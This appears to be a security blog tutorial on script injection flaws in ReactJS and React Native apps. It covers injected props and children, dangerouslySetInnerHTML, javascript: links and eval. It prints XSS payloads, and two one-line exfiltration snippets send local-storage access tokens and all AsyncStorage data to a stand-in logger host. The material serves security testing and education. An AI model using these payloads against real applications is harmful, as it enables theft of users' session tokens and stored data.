Exploiting Script Injection Flaws in ReactJS Apps

ReactJS is a popular JavaScript library for building user interfaces. It enables client-rendered, “rich” web apps that load entirely upfront, allowing for a smoother user experience.

Given that React apps implement a whole lot of client-side logic in JavaScript, it doesn’t seem far-fetched to assume that XSS-type attacks could be worthwhile.

As it turns out, ReactJS is quite safe by design as long as it is used the way it’s meant to be used. For example, string variables in views are escaped automatically. However, as with all good things in life, it’s not impossible to mess things up. Script injection issues can result from bad programming practices including the following:

  • Creating React components from user-supplied objects;
  • Rendering links with user-supplied href attributes, or other HTML tags with injectable attributes (link tag, HMTL5 imports);
  • Explicitly setting the dangerouslySetInnerHTML prop of an element;
  • Passing user-supplied strings to eval().

In a world ruled by Murphy’s law, all of this is guaranteed to happen, so let’s have a closer look.

Components, Props and Elements

Components are the basic building block of ReactJS. Conceptually, they are like JavaScript functions. They accept arbitrary inputs (“props”) and return React elements describing what should appear on the screen. A basic component looks as follows:

class Welcome extends React.Component {
  render() {
    return <h1>Hello, {this.props.name}</h1>;
  }
}

Note the weird syntax in the return statement: This is JSX, a syntax extension to JavaScript. During the build process, the JSX code is transpiled to regular JavaScript (ES5) code. The following two examples are identical:

// JSX
const element = (
<h1 className=”greeting”>
Hello, world!
</h1>
);
// Transpiled to createElement() call
const element = React.createElement(
‘h1’,
{className: ‘greeting’},
‘Hello, world!’
);

New React elements are created from component classes using the createElement() function:

React.createElement(
type,
[props],
[...children]
)

This function takes three arguments:

  • type can be either a tag name string (such as 'div' or 'span'), or a component class. In React Native, only component classes are allowed.
  • props contains a list of attributes passed to the new element.
  • children contains the child node(s) of the new element (which, in turn, are more React components).

Several attack vectors exist if you can control any of those arguments.

Injecting Child Nodes

In March 2015, Daniel LeCheminant reported a stored cross-site scripting vulnerability in HackerOne. The issue was caused by the HackerOne web app passing an arbitrary, user-supplied object as the children argument to React.createElement(). Presumably, the vulnerable code must have looked somewhat like the following:

/* Retrieve a user-supplied, stored value from the server and parsed it as JSON for whatever reason. 
attacker_supplied_value = JSON.parse(some_user_input)
*/
render() {  
return <span>{attacker_supplied_value}</span>;
}

This JSX would translate to the following JavaScript:

React.createElement("span", null, attacker_supplied_value};

When attacker_supplied_value was a string as expected, this would produce a regular span element. However, the createElement() function in the then-current version of ReactJS would also accept plain objects passed as children. Daniel exploited the issue by supplying a JSON-encoded object. He included the dangerouslySetInnerHTML prop, allowing him to insert raw HTML into the output rendered by React. His final proof-of-concept looked as follows:

{
_isReactElement: true,
_store: {},
type: “body”,
props: {
dangerouslySetInnerHTML: {
__html:
"<h1>Arbitrary HTML</h1>
<script>alert(‘No CSP Support :(‘)</script>
<a href=’http://danlec.com'>link</a>"
}
}
}

Following Daniel’s blog post, potential mitigations were discussed on the React.js GitHub. In November 2015, Sebastian Markbåge commited a fix: React elements were now tagged with the attribute$$typeof: Symbol.for('react.element'). Because there is no way to reference a global JavaScript symbol from an injected object, Daniel’s technique of injecting child elements can’t be used anymore.

Controlling Element Type

Even though plain objects are no longer work as ReactJS elements, component injection still isn’t completely impossible, because createElement also accepts strings in the type argument. Suppose a developer did something like this:

// Dynamically create an element from a string stored in the backend.
element_name = stored_value;
React.createElement(element_name, null);

If stored_valuewas an attacker-controlled string, it would be possible to create an arbitrary React component. However, this would result only in a plain, attribute-less HTML element (i.e. pretty useless to the attacker). To do something useful, one must be able to control the properties of the newly created element.

Injecting Props

Consider the following code:

// Parse attacker-supplied JSON for some reason and pass
// the resulting object as props.
// Don't do this at home unless you are a trained expert!
attacker_props = JSON.parse(stored_value)
React.createElement("span", attacker_props};

Here, we can inject arbitrary props into the new element. We could use the following payload to set the dangerouslySetInnerHTML property:

{"dangerouslySetInnerHTML" : { "__html": "<img src=x/ onerror=’alert(localStorage.access_token)’>"}}

Classical XSS

Some traditional XSS vectors are also viable in ReactJS apps. Look out for the following anti-patterns:

Explicitly Setting dangerouslySetInnerHTML

Developers may choose to set the dangerouslySetInnerHTML prop on purpose.

<div dangerouslySetInnerHTML={user_supplied} />

Obviously, if you control the value of that prop, you can insert any JavaScript your heart desires.

Injectable Attributes

If you control the href attribute of a dynamically generated a tag, there’s nothing to prevent you from injection a javascript: URL. Some other attributes such as formaction in HTML5 buttons also work in modern browser.

<a href={userinput}>Link</a>
<button form="name" formaction={userinput}>

Another exotic injection vector that would work in modern browsers are HTML5 imports:

<link rel=”import” href={user_supplied}>

Server-Side Rendered HTML

To improve initial page load times, there has lately been a trend towards pre-rendering React.JS pages on the server (“server-side rendering”). In November 2016, Emilia Smith pointed out that the official Redux code sample for SSR resulted in a cross-site scripting vulnerability, because the client state was concatenated into the pre-rendered page without escaping (the sample code has since been fixed).

The take-away: If HTML is pre-rendered on the server-side, you might see the same types of XSS issues found in “regular” web apps.

Eval-based injection

If you can control a string that is dynamically evaluated, you have hit the jackpot and may proceed to inject arbitrary code of your choosing. This should be a rare occurrence.

function antiPattern() {
eval(this.state.attacker_supplied);
}
// Or even crazier
fn = new Function("..." + attacker_supplied + "...");
fn();

XSS Payload

In the modern world, session cookies are as outdated as manual typewriters and McGyver-style mullets. The agile developer of today uses stateless session tokens, elegantly saved in client-side local storage. Consequently, hackers must adapt their payloads accordingly.

When exploiting an XSS attack a ReactJS web app, you could inject something along the following lines to retrieve an access token from local storage and sent it to your logger:

fetch(‘http://example.com/logger.php?token='+localStorage.access_token);

How About React Native?

React Native is a mobile app framework that allows you to build native mobile applications using ReactJS. More specifically, it provides you with a runtime that can run React JavaScript bundles on mobile devices.

In true Inception style, you can “port” a React Native App to work in regular web browsers using React Native for Web (web app in a mobile app in a web app). This means that you build apps for Android, iOS and Desktop browsers from a single code base.

From what I’ve seen so far, most of the script injection vectors listed above don’t work in React Native:

  • React Native’s createInternalComponent method only accepts tagged component classes, so even if you fully control the arguments to createElement() you can’t create arbitrary elements;
  • HTML elements don’t exist, and HTML isn’t parsed, so typical browser-based XSS vectors (e.g. href) can’t be used.

Only the eval() based variant seems to be exploitable on mobile devices. If you do get JavaScript code injected through eval(), you can access React Native APIs and do interesting things. For example, you could steal all the data from local storage (AsyncStorage) by doing something like:

_reactNative.AsyncStorage.getAllKeys(function(err,result){_reactNative.AsyncStorage.multiGet(result,function(err,result){fetch(‘http://example.com/logger.php?token='+JSON.stringify(result));});});

TL;DR

Even though ReactJS is quite safe by design, it’s not impossible to mess things up. Bad programming practices can lead to exploitable security vulnerabilities.

  • Security Testers: Inject JavaScript and JSON wherever you can and see what happens.
  • Developers: Don’t ever useeval() or dangerouslySetInnerHTML. Avoid parsing user-supplied JSON.